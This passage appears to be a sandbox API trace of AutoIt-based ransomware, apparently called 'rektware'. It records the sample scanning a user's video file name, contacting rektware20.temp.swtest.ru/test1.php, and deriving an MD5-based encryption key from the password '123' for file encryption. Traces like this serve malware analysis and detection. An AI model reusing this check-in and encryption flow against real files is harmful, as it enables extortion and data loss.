lpString1="ers\\CIiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="flnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="MGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Gclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="clbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="u60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Oe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0066.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.007] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.007] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0066.007] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.007] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0066.008] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0066.008] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.008] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0066.009] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0066.009] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e68, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e68, lpdwBufferLength=0x130ee1c) returned 1 [0066.009] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.010] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.010] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.014] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0066.014] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0066.014] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0066.014] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0066.014] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294d0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0066.014] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.015] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.015] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.015] CloseHandle (hObject=0x0) returned 0 [0066.015] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.015] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0066.015] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0066.015] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.015] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.015] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.015] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.015] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.016] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.016] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0066.016] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.016] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.016] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0066.016] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.016] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.016] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.016] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.016] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.016] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0066.016] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0066.017] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0066.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0066.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0066.017] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0066.017] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9df0) returned 1 [0066.019] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.019] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.019] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0066.019] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.019] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.019] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.019] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.019] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.019] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.019] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.019] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.020] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.020] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.020] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.020] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.020] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0066.020] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.020] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.020] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.020] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.020] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.020] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.020] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.020] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.020] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.020] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.020] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.020] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.020] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.020] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.020] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.020] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.021] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.021] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.021] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621588, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0066.021] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0066.021] CryptCreateHash (in: hProv=0x17a9df0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0066.021] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.021] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.021] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.021] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.021] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0066.021] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.022] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.022] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.022] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.022] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0066.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216f0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0066.022] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0066.022] CryptHashData (hHash=0x164c8b0, pbData=0x1629560, dwDataLen=0x3, dwFlags=0x1) returned 1 [0066.022] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.022] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.022] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.022] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.022] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.023] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.023] 